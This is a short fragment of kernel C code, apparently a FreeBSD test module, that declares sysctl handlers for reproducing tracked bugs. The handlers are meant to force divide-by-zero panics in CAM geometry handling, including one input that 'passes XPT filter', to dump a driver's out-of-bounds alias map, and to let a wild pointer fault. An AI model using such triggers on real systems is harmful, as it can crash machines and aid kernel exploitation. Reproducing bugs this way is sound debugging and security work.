SYSCTL_PROC(_debug_df2426, OID_AUTO, trigger0, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_2426_trigger0, "I",
	    "XPT_CALC_GEOMETRY block_size=0 -> divide-by-zero panic");
SYSCTL_PROC(_debug_df2426, OID_AUTO, trigger_big,
	    CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfh_sysctl_2426_trigger_big, "I",
	    "XPT_CALC_GEOMETRY block_size=2MiB (passes XPT filter) -> "
	    "divide-by-zero panic");

SYSCTL_NODE(_debug, OID_AUTO, df2427, CTLFLAG_RW, 0, "DF-2427 rig");
SYSCTL_PROC(_debug_df2427, OID_AUTO, layout, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_2427_layout, "I",
	    "dump amd_softc layout and OOB alias map");
SYSCTL_PROC(_debug_df2427, OID_AUTO, battery, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_2427_battery, "I",
	    "reselect battery: arg 1 = contained, 2 = let the wild "
	    "pointer fault (panic)");